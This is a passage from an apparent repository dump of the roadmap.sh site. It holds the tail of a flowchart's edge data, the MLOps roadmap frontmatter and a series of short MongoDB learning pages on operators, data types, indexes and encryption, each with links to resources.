\"reactflow__edge-VykbCu7LWIx8fQpqKzoA7x2-qbaxC-hB857MKE6Uq_3-tw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"VykbCu7LWIx8fQpqKzoA7\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"l1xasxQy2vAY34NWaqKEe\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": false,\n      \"id\": \"reactflow__edge-VykbCu7LWIx8fQpqKzoA7x2-l1xasxQy2vAY34NWaqKEew1\",\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"l1xasxQy2vAY34NWaqKEe\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"sf67bSL7HAx6iN7S6MYKs\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-l1xasxQy2vAY34NWaqKEex2-sf67bSL7HAx6iN7S6MYKsw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"iTsEHVCo6KGq7H2HMgy5S\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"sf67bSL7HAx6iN7S6MYKs\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-iTsEHVCo6KGq7H2HMgy5Sx2-sf67bSL7HAx6iN7S6MYKsw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"sf67bSL7HAx6iN7S6MYKs\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"36akZIuVtQ0f-3d4pJL8k\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-sf67bSL7HAx6iN7S6MYKsx2-36akZIuVtQ0f-3d4pJL8kw2\",\n      \"selected\": false,\n      \"focusable\": true\n    }\n  ]\n}\n"
  },
  {
    "path": "src/data/roadmaps/mlops/mlops.md",
    "content": "---\njsonUrl: '/jsons/roadmaps/mlops.json'\npdfUrl: '/pdfs/roadmaps/mlops.pdf'\nrenderer: 'editor'\norder: 18\nbriefTitle: 'MLOps'\nbriefDescription: 'Step by step guide to learn MLOps in 2025'\ntitle: 'MLOps Roadmap'\ndescription: 'Step by step guide to learn MLOps in 2025'\nhasTopics: true\nisNew: false\ndimensions:\n  width: 968\n  height: 1475\nschema:\n  headline: 'MLOps Roadmap'\n  description: 'Learn about MLOps with this interactive step by step guide in 2023. We also have resources and short descriptions attached to the roadmap items so you can get everything you want to learn in one place.'\n  imageUrl: 'https://roadmap.sh/roadmaps/mlops.png'\n  datePublished: '2024-02-12'\n  dateModified: '2024-07-18'\nseo:\n  title: 'MLOps Roadmap'\n  description: 'Learn about MLOps using this roadmap. Community driven, articles, resources, guides, interview questions, quizzes for modern machine learning operations.'\n  keywords:\n    - 'mlops roadmap 2024'\n    - 'mlops roadmap 2025'\n    - 'mlops roadmap'\n    - 'mlops engineer'\n    - 'machine learning expert'\n    - 'machine learning engineer'\n    - 'ai ops engineer'\nrelatedRoadmaps:\n  - 'ai-data-scientist'\n  - 'devops'\n  - 'backend'\n  - 'python'\n  - 'golang'\nsitemap:\n  priority: 1\n  changefreq: 'monthly'\ntags:\n  - 'roadmap'\n  - 'main-sitemap'\n  - 'role-roadmap'\n---\n"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/aggregation@gpihoIJkzSS1WOvmH2ueo.md",
    "content": "# Aggregation\n\nAggregation in MongoDB is a powerful framework for data processing and transformation using a pipeline of stages. Each stage performs specific operations like filtering, grouping, sorting, or computing values, allowing complex data analytics and reporting. The aggregation pipeline offers operators for mathematical calculations, string manipulation, date operations, and advanced data transformations.\n\nVisit the following resources to learn more:\n\n- [@official@Aggregation Operations](https://www.mongodb.com/docs/manual/aggregation/)\n- [@official@MongoDB Aggregation Operators](https://www.mongodb.com/docs/manual/reference/operator/aggregation/)\n- [@article@How To Use Aggregations in MongoDB](https://www.digitalocean.com/community/tutorials/how-to-use-aggregations-in-mongodb)\n- [@course@Fundamentals of Data Transformation Skill Badge](https://learn.mongodb.com/courses/fundamentals-of-data-transformation)"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/all@hPPoO8ysGeEGEQhdveiDO.md",
    "content": "# $all\n\nThe `$all` operator in MongoDB selects documents where an array field contains all specified elements, regardless of order or additional elements. It's useful for tag-based filtering and ensuring multiple required values exist in arrays. `$all` performs element-wise matching and can work with arrays of different data types, making it essential for multi-criteria array filtering.\n\nVisit the following resources to learn more:\n\n- [@official@\\$all](https://www.mongodb.com/docs/manual/reference/operator/query/all/)\n- [@article@\\$all and \\$elemMatch in MongoDB](https://dev.to/kawsarkabir/all-and-elemmatch-in-mongodb-4od6)"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/and@-62S4wRxHpIM2I59xjGun.md",
    "content": "# $and\n\nThe `$and` operator in MongoDB performs logical AND operation on multiple query expressions, returning documents that satisfy all specified conditions. It accepts an array of query expressions and is implicitly used when multiple conditions are provided at the same level. `$and` is explicit when combining complex expressions or when the same field needs multiple conditions.\n\nVisit the following resources to learn more:\n\n- [@official@\\$and](https://www.mongodb.com/docs/manual/reference/operator/query/and/)\n- [@article@\\$and operator](https://codeforgeek.com/and-operator-in-mongodb/)"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/array@q6ZKxFcSAQ8bgUdGaDpuu.md",
    "content": "# Array\n\nArray data type in MongoDB stores ordered lists of values including mixed data types, nested arrays, and embedded documents. Arrays support indexing with multikey indexes, enabling efficient queries on array elements. Special array operators like $push, $pull, $addToSet modify arrays, while query operators like $in, $all, $elemMatch enable sophisticated array querying and element matching capabilities.\n\nVisit the following resources to learn more:\n\n- [@official@Query an Array](https://www.mongodb.com/docs/manual/tutorial/query-arrays/)\n- [@article@Mastering the Art of Querying Arrays in MongoDB](https://medium.com/dataprophet/mastering-the-art-of-querying-arrays-in-mongodb-a-comprehensive-guide-a70b83447be7)"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/atlas-search-indexes@YidhAuVk_VGukx_FfJSz2.md",
    "content": "# Atlas Search Indexes\n\nAtlas Search indexes in MongoDB Atlas provide full-text search capabilities using Apache Lucene technology. They enable sophisticated text search with relevance scoring, autocomplete, faceted search, and synonyms. These indexes support complex search queries across multiple fields, fuzzy matching, and advanced text analysis features for building modern search experiences in applications.\n\nVisit the following resources to learn more:\n\n- [@official@Atlas Search Indexes](https://www.mongodb.com/docs/atlas/atlas-search/manage-indexes/)\n- [@article@Atlas Search Made Easy: A Summary Guide for Developers](https://medium.com/@sumitkessar/atlas-search-made-easy-a-summary-guide-for-developers-883c27886987)\n- [@course@Vector Search Fundamentals Skill Badge](https://learn.mongodb.com/courses/vector-search-fundamentals)\n- [@course@Search Fundamentals Skill Badge](https://learn.mongodb.com/courses/search-fundamentals)"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/binary-data@UM6jH6bAijYS0Hmw87UQ-.md",
    "content": "# Binary Data\n\nBinary data in MongoDB stores non-textual data like images, files, and encoded content using the BSON Binary data type. It supports various subtypes including generic binary, function code, UUID, and MD5 hashes. Binary data enables efficient storage of multimedia content, encrypted data, and arbitrary byte sequences while maintaining query and indexing capabilities within document structures.\n\nVisit the following resources to learn more:\n\n- [@official@BinData \\(\\)](https://www.mongodb.com/docs/manual/reference/method/bindata/)\n- [@official@BSON Types](https://www.mongodb.com/docs/manual/reference/bson-types/)\n- [@article@Understanding BSON: The Backbone of MongoDB's Data Format](https://dev.to/abhay_yt_52a8e72b213be229/understanding-bson-the-backbone-of-mongodbs-data-format-11oa)"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/boolean@hmo7zCZ1jKgobS5R0eBSD.md",
    "content": "# Boolean\n\nBoolean data type in MongoDB stores true or false values, representing logical states in documents. Booleans are commonly used for flags, status indicators, and conditional logic in queries and applications. They support direct comparison, logical operations with $and, $or, $not operators, and can be efficiently indexed for fast querying of true/false conditions in large datasets.\n\nVisit the following resources to learn more:\n\n- [@official@\\$type](https://www.mongodb.com/docs/manual/reference/operator/query/type/)\n- [@official@How to Index Boolean Values](https://www.mongodb.com/docs/atlas/atlas-search/field-types/boolean-type/)"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/bson-vs-json@F4W9XBSbkpzWIrAhRBSRS.md",
    "content": "# BSON vs JSON\n\nBSON (Binary JSON) is MongoDB's binary-encoded serialization format that extends JSON with additional data types like dates, binary data, and 64-bit integers. While JSON is human-readable text format, BSON provides faster parsing, compact storage, and native support for MongoDB's rich data types. BSON enables efficient storage and retrieval while maintaining JSON's flexibility and document structure.\n\nVisit the following resources to learn more:\n\n- [@official@JSON and BSON](https://www.mongodb.com/resources/basics/json-and-bson)\n- [@official@BSON Types](https://www.mongodb.com/docs/manual/reference/bson-types/)\n- [@article@Understanding BSON: The Backbone of MongoDB's Data Format](https://dev.to/abhay_yt_52a8e72b213be229/understanding-bson-the-backbone-of-mongodbs-data-format-11oa)"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/bulkwrite-and-relevant@yc2HqhjhIV6UU_2P-ykKB.md",
    "content": "# bulkWrite() and Related Methods\n\n`bulkWrite()` in MongoDB performs multiple write operations in a single command, improving performance through reduced network round trips. It supports mixed operations including inserts, updates, deletes, and replaces with options for ordered or unordered execution. Bulk operations provide error handling, write concern configuration, and significant performance benefits for high-volume data manipulation tasks.\n\nVisit the following resources to learn more:\n\n- [@official@db.collection.bulkWrite\\(\\)](https://www.mongodb.com/docs/manual/reference/method/db.collection.bulkwrite/)\n- [@article@MongoDB: InsertMany vs BulkWrite](https://medium.com/@msbytedev/mongodb-insertmany-vs-bulkwrite-2f9da91b544c)"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/client-side-field-level@YJiWemHO1l5q9WhgoHyYd.md",
    "content": "# Client-Side Field Level Encryption\n\nClient-Side Field Level Encryption (CSFLE) allows applications to encrypt sensitive data fields before storing them in MongoDB. The database receives only encrypted data and remains unaware of the encryption keys, ensuring zero-trust security. This feature provides deterministic and randomized encryption algorithms, enabling both exact match queries and enhanced security for highly sensitive information.\n\nVisit the following resources to learn more:\n\n- [@official@Client-Side Field Level Encryption](https://www.mongodb.com/docs/manual/core/csfle/)\n- [@article@Integrating with MongoDB Client Side Field Level Encryption](https://mongoosejs.com/docs/field-level-encryption.html)"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/collections--methods@7SGYNo3oHlgm_1cwhWfw7.md",
    "content": "# Collection Methods\n\nCollection methods in MongoDB provide comprehensive operations for data manipulation including CRUD operations (find, insert, update, delete), index management, and administrative functions. Key methods include `createIndex()`, `drop()`, `count()`, `distinct()`, and `bulkWrite()` for batch operations. These methods offer flexible options for data processing, schema validation, and collection maintenance.\n\nVisit the following resources to learn more:\n\n- [@official@Collection Methods](https://www.mongodb.com/docs/manual/reference/method/js-collection/)\n- [@official@createIndex](https://www.mongodb.com/docs/manual/reference/method/db.collection.createindex/)\n- [@official@count](https://www.mongodb.com/docs/manual/reference/method/db.collection.count/)\n- [@official@distinct](https://www.mongodb.com/docs/manual/reference/method/db.collection.distinct/)\n- [@article@A Comprehensive Guide to MongoDB Methods](https://medium.com/@coderwithtools/a-comprehensive-guide-to-mongodb-methods-syntax-and-examples-feee0ac07599)\n- [@course@CRUD Operations Skill Badge](https://learn.mongodb.com/courses/crud-operations-in-mongodb)"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/compound@eSb4WAfWxJu6R95pPX6wm.md",
    "content": "# Compound Indexes\n\nCompound indexes in MongoDB are built on multiple fields in a specified order, optimizing queries that filter on multiple fields. Field order matters significantly as it determines which queries can efficiently use the index. Compound indexes support prefix patterns, meaning they can optimize queries on any left subset of the indexed fields, making them versatile for various query patterns.\n\nVisit the following resources to learn more:\n\n- [@official@Compound Indexes](https://www.mongodb.com/docs/manual/core/indexes/index-types/index-compound/)\n- [@article@Single vs Compound Mongodb Index](https://medium.com/@rakeebnazar/single-vs-compound-mongodb-index-in-depth-analysis-5319cfdd2ce)"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/counting-documents@hC83jKoO_XFI83WpsdN_Z.md",
    "content": "# Counting Documents\n\nCounting documents in MongoDB uses methods like `countDocuments()` for accurate filtered counts and `estimatedDocumentCount()` for fast approximate totals. `countDocuments()` supports query filters and provides precise results but may be slower on large collections. `estimatedDocumentCount()` uses collection metadata for rapid estimates, making it ideal for dashboard metrics and quick statistics.\n\nVisit the following resources to learn more:\n\n- [@official@Counting Documents](https://www.mongodb.com/docs/manual/reference/method/db.collection.countdocuments/)\n- [@official@estimatedDocumentCount](https://www.mongodb.com/docs/manual/reference/method/db.collection.estimateddocumentcount/)"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/creating-indexes@haA1ltV6VzgJVJcJNMK0W.md",
    "content": "# Creating Indexes\n\nCreating indexes in MongoDB uses the `createIndex()` method to build data structures that improve query performance. Indexes can be created on single fields, multiple fields (compound), or with special types like text, geospatial, or hashed. Best practices include analyzing query patterns, creating indexes before large data imports, and monitoring index usage to ensure optimal performance without over-indexing.\n\nVisit the following resources to learn more:\n\n- [@official@createIndex](https://www.mongodb.com/docs/manual/reference/method/db.collection.createindex/)\n- [@official@Geospatial Queries](https://www.mongodb.com/docs/manual/geospatial-queries/)\n- [@article@Single vs Compound Mongodb Index](https://medium.com/@rakeebnazar/single-vs-compound-mongodb-index-in-depth-analysis-5319cfdd2ce)"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/cursors@K9x7yQP59cB764Q5PqAs_.md",
    "content": "# Cursors\n\nCursors in MongoDB are pointers to query result sets that enable efficient iteration through large datasets without loading all documents into memory. They support methods like `hasNext(), next(), forEach(), and limit()` for result manipulation. Cursors automatically handle batching, provide lazy loading of results, and can be configured with timeouts and batch sizes for optimal performance.\n\nVisit the following resources to learn more:\n\n- [@official@Cursors](https://www.mongodb.com/docs/manual/reference/method/js-cursor/)\n- [@article@Understanding Cursor in MongoDB](https://medium.com/@satyamguptaece/understanding-cursor-in-mongodb-b8a9e1a8cb0c)"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/data-model--data-types@_UIfRdlj6BeEESw1FW9RH.md",
    "content": "# Data Model & Data Types\n\nMongoDB uses a flexible document data model storing data in BSON format with rich data types including strings, numbers, dates, arrays, embedded documents, binary data, and ObjectIds. The schema-less design allows varying document structures within collections while maintaining query performance. Documents can contain nested objects and arrays, enabling complex data relationships without traditional table joins.\n\nVisit the following resources to learn more:\n\n- [@official@Data Model](https://www.mongodb.com/docs/manual/data-modeling/)\n- [@official@Data Types](https://www.mongodb.com/docs/mongodb-shell/reference/data-types/)\n- [@article@A Comprehensive Guide to Data Modeling in MongoDB](https://medium.com/@skhans/a-comprehensive-guide-to-data-modeling-in-mongodb-b63b2df9d9dd)\n- [@course@Relational to Document Model Skill Badge](https://learn.mongodb.com/courses/relational-to-document-model)\n- [@course@Schema Design Patterns and Anti-patterns Skill Badge](https://learn.mongodb.com/courses/schema-design-patterns-and-antipatterns)\n- [@course@Advanced Schema Patterns and Anti-patterns Skill Badge](https://learn.mongodb.com/courses/advanced-schema-patterns-and-antipatterns)\n- [@course@Schema Design Optimization Skill Badge](https://learn.mongodb.com/courses/schema-design-optimization)"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/date@T6cq--pute6-8aG7z6QKN.md",
    "content": "# Date\n\n`Date` data type in MongoDB stores timestamps as 64-bit integers representing milliseconds since Unix epoch (January 1, 1970 UTC). Dates support range queries, sorting, and date arithmetic operations in aggregation pipelines. MongoDB automatically converts JavaScript Date objects and ISO date strings to BSON dates, providing timezone-aware date manipulation and efficient chronological data querying.\n\nVisit the following resources to learn more:\n\n- [@official@Date and Datetime](https://www.mongodb.com/docs/manual/reference/method/date/)\n- [@official@Data Types](https://www.mongodb.com/docs/mongodb-shell/reference/data-types/)\n- [@article@Working with dates and times in MongoDB](https://www.prisma.io/dataguide/mongodb/working-with-dates)"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/decimal128@OGtR5D_DUCSci1lFBT83z.md",
    "content": "# Decimal128\n\n`Decimal128` data type in MongoDB provides exact decimal representation for financial and monetary calculations requiring precision. Based on IEEE 754-2008 standard, it supports 34 decimal digits with exact arithmetic operations. `Decimal128` eliminates floating-point precision errors, making it essential for applications handling currency, accounting, and scientific computations where decimal accuracy is critical.\n\nVisit the following resources to learn more:\n\n- [@official@Data Types](https://www.mongodb.com/docs/mongodb-shell/reference/data-types/#decimal128)\n- [@article@decimal128](https://pymongo.readthedocs.io/en/stable/api/bson/decimal128.html)\n"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/delete-and-relevant@qjoLxSkfKbzG1sZUXnyw9.md",
    "content": "# delete() and Related Methods\n\nDelete operations remove documents from MongoDB collections using `deleteOne()` for single document removal and `deleteMany()` for multiple documents. These methods use query filters to specify which documents to delete and support write concerns for reliability. Additional methods include `findOneAndDelete()` for atomic read-and-delete operations and `drop()` for removing entire collections.\n\nVisit the following resources to learn more:\n\n- [@official@Delete Operations](https://www.mongodb.com/docs/manual/reference/command/delete/)\n- [@article@MongoDB Delete Documents](https://boxoflearn.com/mongodb-delete-documents/)\n"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/developer-tools@6H2MMnEfS6uHGS-6pFo8u.md",
    "content": "# Developer Tools\n\nMongoDB developer tools include MongoDB Compass (GUI), MongoDB Shell (mongosh), VS Code extensions, and various language drivers. These tools provide visual database exploration, query building, performance monitoring, and development assistance. Additional tools include MongoDB Atlas for cloud management, migration utilities, and third-party tools for enhanced productivity and database administration.\n\nVisit the following resources to learn more:\n\n- [@official@MongoDB Compass](https://www.mongodb.com/try/download/compass)\n- [@official@MongoDB Shell](https://www.mongodb.com/products/tools/shell)\n- [@official@MongoDB Developer Tools](https://www.mongodb.com/products/tools)\n"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/double@4Cf_wcoByPqpOOpdbAJuq.md",
    "content": "# Double\n\nDouble data type in MongoDB stores 64-bit floating-point numbers following IEEE 754 standard, providing high precision for decimal calculations. It's the default numeric type for JavaScript numbers and handles both integers and decimals. Doubles support mathematical operations in queries and aggregation pipelines, though precision limitations may occur with very large numbers or repeated calculations requiring exact decimal representation.\n\nVisit the following resources to learn more:\n\n- [@official@Double](https://www.mongodb.com/docs/mongodb-shell/reference/data-types/#double)\n- [@article@Double Data Type](https://www.scaler.com/topics/mongodb-data-types/)"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/elastic-search@kJJ-W6BV1ofIvuFT_PCcz.md",
    "content": "# Elastic Search\n\nThe MongoDB Elasticsearch connector enables seamless integration between MongoDB and Elasticsearch, allowing you to automatically synchronize data from MongoDB collections to Elasticsearch indices for powerful full-text search, analytics, and visualization capabilities. This connector streams data changes in real-time using MongoDB's change streams, transforms documents as needed, and maintains data consistency between the two systems, making it ideal for applications that need both MongoDB's flexible document storage and Elasticsearch's advanced search and aggregation features. It's particularly useful for building search-heavy applications, log analytics systems, and business intelligence dashboards that require complex text search, faceted search, and real-time data analysis capabilities.\n\nVisit the following resources to learn more:\n\n- [@official@Elasticsearch: The Official Distributed Search & Analytics Engine](https://www.elastic.co/elasticsearch)\n- [@official@Elasticsearch vs MongoDB Atlas Search](https://www.mongodb.com/resources/compare/mongodb-atlas-search-vs-elastic-elasticsearch)\n- [@article@MongoDB vs Elasticsearch](https://medium.com/@emmaw4430/mongodb-vs-elasticsearch-deciding-the-right-database-solution-for-your-project-c6c8fb89cbfe)\n"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/elemmatch@TJHVY8DRWbDKeT_pIPJay.md",
    "content": "# $elemMatch\n\nThe `$elemMatch` operator in MongoDB matches documents containing array elements that satisfy multiple specified criteria within a single array element. It ensures all conditions apply to the same array element rather than different elements. $elemMatch is crucial for querying arrays of embedded documents, complex array filtering, and maintaining logical consistency in multi-condition array queries.\n\nVisit the following resources to learn more:\n\n- [@official@\\$elemMatch](https://www.mongodb.com/docs/manual/reference/operator/query/elemmatch/)\n- [@article@MongoDB \\$elemMatch Query Operator](https://codeforgeek.com/elemmatch-in-mongodb/)\n"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/embedded-objects--arrays@6MqhN-PTf1PRzYCTxC8pn.md",
    "content": "# Embedded Objects & Arrays\n\nEmbedded objects and arrays in MongoDB enable storing related data within a single document, eliminating the need for separate collections and joins. This design pattern improves query performance and maintains data locality. Embedded structures support nested queries, array operations, and complex data relationships while maintaining document atomicity and enabling efficient retrieval of complete entities.\n\nVisit the following resources to learn more:\n\n- [@official@Query an Array of Embedded Documents ](https://www.mongodb.com/docs/manual/tutorial/query-array-of-documents/)\n- [@official@Embedding MongoDB Documents For Ease And Performance](https://www.mongodb.com/resources/products/fundamentals/embedded-mongodb)\n- [@article@Embedded Documents in MongoDB](https://medium.com/@bubu.tripathy/embedded-documents-in-mongodb-793af431846c)\n"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/encryption-at-rest@iJjqlTgXxHWC-8bh6uCGQ.md",
    "content": "# Encryption at Rest\n\nEncryption at Rest in MongoDB protects data stored on disk by encrypting database files, indexes, and logs using industry-standard encryption algorithms. This security feature prevents unauthorized access to physical storage media and ensures compliance with data protection regulations. MongoDB supports both enterprise-grade WiredTiger storage engine encryption and file system-level encryption options.\n\nVisit the following resources to learn more:\n\n- [@official@Encryption at Rest](https://www.mongodb.com/docs/manual/core/security-encryption-at-rest/)\n- [@official@Encrypted Fields and Enabled Queries](https://www.mongodb.com/docs/manual/core/queryable-encryption/fundamentals/encrypt-and-query/)\n- [@article@Encryption at Rest and In Transit in MongoDB](https://syskool.com/encryption-at-rest-and-in-transit-in-mongodb/)\n"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/eq@2h8z2mrgRKSLKI-eBc3zM.md",
    "content": "# $eq\n\nThe `$eq`operator in MongoDB matches documents where a field value equals a specified value. It performs exact equality comparison and is the default behavior when using field: value syntax. `$eq`supports all BSON data types including nested documents and arrays, enabling precise matching in queries. It's fundamental for filtering documents by specific field values in find operations.\n\nVisit the following resources to learn more:\n\n- [@official@\\$eq](https://www.mongodb.com/docs/manual/reference/operator/query/eq/)\n- [@article@MongoDB \\$eq Aggregation Pipeline Operator](https://database.guide/mongodb-eq/)\n"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/exclude@nk0V3o3oKuIb8A0gDECFJ.md",
    "content": "# $exclude\n\nThe `$exclude` projection operator in MongoDB is used to explicitly exclude specific fields from query results, allowing you to return all fields of a document except those that are explicitly excluded. When using $exclude, you specify which fields to omit by setting them to 0 or false in the projection document, and all other fields will be automatically included in the result set. This operator is particularly useful when you want to retrieve most of a document's data while excluding sensitive information like passwords, internal metadata, or large fields that are not needed for a particular operation, helping reduce network bandwidth and improve query performance by transferring only the necessary data.\n\nVisit the following resources to learn more:\n\n- [@official@Include or Exclude Fields in a Wildcard Index](https://www.mongodb.com/docs/manual/core/indexes/index-types/index-wildcard/create-wildcard-index-multiple-fields/)\n- [@official@Project Fields to Return from Query](https://www.mongodb.com/docs/manual/tutorial/project-fields-from-query-results/)\n"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/exists@12kfpSapv2uNxpHzLkFSL.md",
    "content": "# $exists\n\nThe `$exists` operator in MongoDB matches documents based on the presence or absence of a specified field. When set to true, it finds documents containing the field regardless of value (including null), and when false, it finds documents missing the field entirely. `$exists` is useful for schema validation, data quality checks, and filtering documents with optional fields.\n\nVisit the following resources to learn more:\n\n- [@official@\\$exists](https://www.mongodb.com/docs/manual/reference/operator/query/exists/)\n- [@article@MongoDB \\$exists Operator](https://sparkbyexamples.com/mongodb/using-mongodb-exists-operator/)\n"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/expiring@butGgZXGPTZI-sWx24bOr.md",
    "content": "# Expiring\n\nExpiring indexes (TTL - Time To Live) in MongoDB automatically delete documents from a collection after a specified period, making them ideal for managing time-sensitive data like session information, log entries, temporary caches, or any data that becomes obsolete after a certain duration. These indexes are created on date fields and use a background process that runs every 60 seconds to remove expired documents, helping maintain optimal collection size and performance by preventing the accumulation of outdated data. TTL indexes are particularly useful for applications that generate large volumes of transient data, as they provide an automated cleanup mechanism that reduces storage costs and improves query performance without requiring manual intervention or complex application logic to handle data expiration.\n\nVisit the following resources to learn more:\n\n- [@official@Expire Data from Collections by Setting TTL](https://www.mongodb.com/docs/manual/tutorial/expire-data/)\n- [@article@Understanding TTL in MongoDB](https://medium.com/@darshitanjaria/understanding-ttl-in-mongodb-automatically-expiring-documents-e8b1defc1158)\n- [@article@Understanding MongoDB Indexes and Expiry](https://stenzr.medium.com/understanding-mongodb-indexes-and-expiry-019831790542)"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/find-and-relevant@iMpCEXRDXg0Kq9OFNywbI.md",
    "content": "# find() and Related Methods\n\nThe `find()` method retrieves documents from MongoDB collections using query filters, projections, and modifiers. Related methods include `findOne()` for single documents, `findOneAndUpdate()` for atomic updates, `findOneAndDelete()` for atomic deletions, and cursor methods like `limit(), skip(), sort()` for result manipulation. These methods support complex queries with operators, field projections, and cursor iteration.\n\nVisit the following resources to learn more:\n\n- [@official@Query Documents](https://www.mongodb.com/docs/manual/tutorial/query-documents/)\n- [@official@find\\(\\)](https://www.mongodb.com/docs/manual/reference/method/db.collection.find/)\n- [@official@Cursors](https://www.mongodb.com/docs/manual/reference/method/js-cursor/)\n- [@official@findOneAndUpdate\\(\\)](https://www.mongodb.com/docs/manual/reference/method/db.collection.findoneandupdate/)\n- [@article@A Complete Guide to MongoDB Queries with Examples](https://dev.to/rajrathod/a-complete-guide-to-mongodb-queries-with-examples-ik4)"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/geospatial-indexes@bqXlDnPuMQIKulD9cTvPf.md",
    "content": "# Geospatial Indexes\n\nGeospatial indexes in MongoDB enable efficient querying of geographic coordinate data using 2d, 2dsphere, and geoHaystack index types. They support location-based queries like finding points within a specific distance, polygon intersection, and nearest neighbor searches. These indexes work with GeoJSON objects and legacy coordinate pairs for mapping applications and location services.\n\nVisit the following resources to learn more:\n\n- [@official@Geospatial Queries](https://www.mongodb.com/docs/manual/geospatial-queries/)\n- [@article@Geospatial Indexes in MongoDB](https://netsharpdev.com/2021/09/09/geoindexes-in-mongodb/)\n- [@article@Geospatial Data in MongoDB: Storage, Indexing, and Queries](https://medium.com/@AbbasPlusPlus/geospatial-data-in-mongodb-storage-indexing-and-queries-1c6db21b7970)"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/group@nz048lC4Q4S7fMVbxLGEk.md",
    "content": "# $group\n\nThe `$group` aggregation stage groups documents by specified identifier expressions and applies accumulator operators like `$sum, $avg, $max, $min, and $push`. It's essential for data aggregation, calculating statistics, and creating summary reports. `$group` can group by single or multiple fields and supports complex expressions for dynamic grouping criteria.\n\nVisit the following resources to learn more:\n\n- [@official@Aggregation Operators](https://www.mongodb.com/docs/manual/reference/operator/aggregation/)\n- [@official@\\$group](https://www.mongodb.com/docs/manual/reference/operator/aggregation/group/)\n- [@article@MongoDB \\$group (aggregation) Usage with Examples](https://sparkbyexamples.com/mongodb/mongodb-group-aggregation/)\n"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/gt@wbZb0RwmANH4ssF07cAar.md",
    "content": "# $gt\n\nThe `$gt` (greater than) operator in MongoDB selects documents where a field value is greater than a specified value. It works with numbers, dates, strings (lexicographically), and other comparable BSON types. `$gt` is essential for range queries, date filtering, and numeric comparisons. Combined with other operators, it enables complex filtering conditions for data analysis and reporting.\n\nVisit the following resources to learn more:\n\n- [@official@Aggregation Operators](https://www.mongodb.com/docs/manual/reference/operator/aggregation/)\n- [@official@\\$gt](https://www.mongodb.com/docs/manual/reference/operator/aggregation/gt/)\n"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/gte@kV5Tmu9ocDnuPQvkx2W0u.md",
    "content": "# $gte\n\nThe `$gte` (greater than or equal to) operator in MongoDB selects documents where a field value is greater than or equal to a specified value. It provides inclusive comparison for range queries, date boundaries, and numeric filtering. `$gte` is particularly useful for minimum threshold queries, start date filtering, and creating inclusive lower bounds in data selection criteria.\n\nVisit the following resources to learn more:\n\n- [@official@Aggregation Operators](https://www.mongodb.com/docs/manual/reference/operator/aggregation/)\n- [@official@\\$gte](https://www.mongodb.com/docs/manual/reference/operator/aggregation/gte/)\n"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/in@Wd20OKQYYuW_bT6U-yRxT.md",
